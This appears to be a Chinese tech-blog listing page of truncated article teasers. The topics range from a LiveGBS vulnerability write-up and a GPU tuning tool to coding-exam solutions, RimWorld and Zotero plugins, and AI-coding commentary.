1. 智能运维的困境与破局之道 运维工作从传统人工操作到智能化转型的过程中，最突出的矛盾就是数据需求与技术落地之间的鸿沟。我见过太多企业运维团队，手里握着TB级的日志数据，却只能用来做最基础的错误检索；也接触过不少学术研究…
LiveGBS流媒体服务器逻辑缺陷漏洞深度剖析与复现
1. 项目概述：一次典型的逻辑缺陷漏洞挖掘之旅最近在复盘一些公开的漏洞案例，CNVD-2023-72138这个编号引起了我的注意。这是一个关于LiveGBS流媒体服务器的漏洞，具体出在/user/save这个接口的逻辑缺陷上。LiveGBS在安防、视频监控领域应用挺广…
5分钟掌握NVIDIA Profile Inspector：解锁显卡隐藏性能的终极指南
5分钟掌握NVIDIA Profile Inspector：解锁显卡隐藏性能的终极指南 【免费下载链接】nvidiaProfileInspector 项目地址: https://gitcode.com/gh_mirrors/nv/nvidiaProfileInspector 你是否曾感到NVIDIA官方控制面板的功能太过有限？想要深入调整显…
别再猜了！ChatGPT免费版实际调用的模型列表（含版本号、上下文长度、响应延迟实测数据）
更多请点击： https://kaifayun.com 第一章：ChatGPT 免费版能用哪些模型 截至2024年，OpenAI 官方免费用户（即未订阅 ChatGPT Plus 的用户）默认使用的是 **GPT-3.5 Turbo** 模型。该模型部署在 web 端与官方移动应用中&…
Performance-Fish完整实用指南：三步实现RimWorld性能飞跃终极优化
Performance-Fish完整实用指南：三步实现RimWorld性能飞跃终极优化 【免费下载链接】Performance-Fish Performance Mod for RimWorld 项目地址: https://gitcode.com/gh_mirrors/pe/Performance-Fish 还在为RimWorld后期卡顿而烦恼吗？Performance…
Java开发者转型安全开发：从代码审计到自动化工具实践
1. 转型背景与核心驱动力最近几年，身边不少做Java后端开发的朋友，都开始或多或少地关注起安全开发这个方向。我自己也是从写了七八年Java业务代码，一步步转向了安全领域，现在主要做代码审计和自动化安全工具开发。这个转变不是一时…
【TEE从入门到精通及实战】75 TEE内Wasm沙箱的内存安全：从“段错误”到“编译时保证”
75 TEE内Wasm沙箱的内存安全：从“段错误”到“编译时保证” 开篇故事 去年夏天，我正帮一家金融科技公司优化他们的TEE内Wasm沙箱。他们的核心业务是在Intel SGX enclave里运行用户提交的Wasm合约，用于实时交易验证。 一天下午，运维突然报警：生产环境的enclave进程频繁崩…
YAML函数动态解析：打造智能接口自动化测试用例
1. 项目概述：为什么YAML测试用例需要函数动态解析？在接口自动化测试的实践中，我们常常会面临一个核心矛盾：测试用例的可维护性与灵活性。早期的测试脚本，无论是用Python的unittest还是pytest，往往将测试数据…
AI Coding 六个月真实ROI账本：产品经理的血泪教训，研发的冷静忠告
6个月前的2025年12月，Boris Cherny 公开宣布自己卸载了 IDE。一时间，Vibe Coding 成了全行业最热的话题。6个月后，当我们回过头来拉一份真实账本，发现事情远没有"一句话生成一个App"那么浪漫。本文从产品经理和研发两个…
华为OD机试2025C卷-字符统计及重排[100分]（ Java _ Python3 _ C++ _ C语言 _ JsNode _ Go）实现100%通过率
📫 个人主页：深夜coding算法 📣 专栏系列：2026年华为最新OD机试题库详解 🔥 一次订阅，永久解锁 | 持续更新100篇 | 6语言全覆盖 文章目录❄️前言：☀️一：题目描述🌙 题目…
华为OD机试2025C卷-寻找相同子串[100分]（ Java _ Python3 _ C++ _ C语言 _ JsNode _ Go）实现100%通过率
📫 个人主页：深夜coding算法 📣 专栏系列：2026年华为最新OD机试题库详解 🔥 一次订阅，永久解锁 | 持续更新100篇 | 6语言全覆盖 文章目录❄️前言：☀️一：题目描述🌙 题目…
Zotero Duplicates Merger：5步彻底清理文献库重复条目
Zotero Duplicates Merger：5步彻底清理文献库重复条目 【免费下载链接】ZoteroDuplicatesMerger A zotero plugin to automatically merge duplicate items 项目地址: https://gitcode.com/gh_mirrors/zo/ZoteroDuplicatesMerger 还在为文献库中堆积如山的重…
利用随机有限集理论对蜂群的ILQR和MPC控制研究附Matlab代码
✅作者简介：热爱科研的Matlab仿真开发者，擅长数据处理、建模仿真、程序设计、完整代码获取、论文复现及科研仿真。🍎 往期回顾关注个人主页：Matlab科研工作室🍊个人信条：格物致知,完整Matlab代码及仿真咨询…
为什么你的Gemini邮件CTE低于行业均值2.8倍？：从Prompt架构到发送时序的深度归因
更多请点击： https://intelliparadigm.com 第一章：为什么你的Gemini邮件CTE低于行业均值2.8倍？：从Prompt架构到发送时序的深度归因 Gemini邮件的客户转化效率（CTE）显著偏低，根本原因常被误判为…